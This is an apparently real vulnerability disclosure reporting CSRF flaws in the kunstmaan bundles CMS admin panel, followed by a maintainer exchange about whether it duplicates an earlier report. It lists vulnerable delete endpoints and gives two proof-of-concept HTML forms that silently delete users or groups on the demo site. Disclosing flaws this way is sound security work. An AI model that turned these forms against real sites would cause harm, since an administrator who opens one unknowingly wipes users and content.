Cross-Site Request Forgery (CSRF) in kunstmaan/kunstmaanbundlescms
Reported on
Oct 17th 2021
Description
There is exist multiple high impact CSRF that attacker can delete many part of applications contents.
I provide the full list of CSRFs vulnerable endpoints for you.
(because the number of endpoints are too many I don't put the PoC.html of all of the vulnerable endpoints)
Occurrences
PagePartAdmin.php L1-L387
delete any page
Tag.php L1-L21
delete any blog tag
Author.php L1-L19
delete any blog author
Bike.php L1-L171
Delete any Bike
RulesAdminListController.php L1-L84
delete any rule
User.php L1-L22
delete any user
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.bundles.kunstmaan.be/en/admin/settings/users/{id} /delete">
<input type="hidden" name="delete" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
replace {id} with user id
DuplicateSubPageInterface.php L1-L8
Duplicate any blog page
RedirectRouter.php L1-L219
delete any route
GroupsController.php L1-L168
delete any group
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.bundles.kunstmaan.be/en/admin/settings/groups/{id}/delete?delete=">
<input type="hidden" name="delete" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
replace {id} with groups id
Category.php L1-L21
delete any blog category
This CSRFs have a can make high impact damage to admin panel, please don't reduce the bounty amount.
thanks so much.
Hi @amammad, thanks for the report!
@admin should I mark this issue as valid or not? The "base issue" was already reported in a separate vulnarability report and that one was marked as valid. The difference is that this report lists more locations that can exploited this security issue.
If you believe the new occurrences, i.e. permalinks point to unaddressed points of failure, feel free to mark this report as valid, yes.
Hey @maintainer
just tell me to remove the repetitive endpoints
@maintainer I found All vulnerable endpoint carefully to aware you of all occurrences
please if there isn't any problem, just validate my report too.
best regards.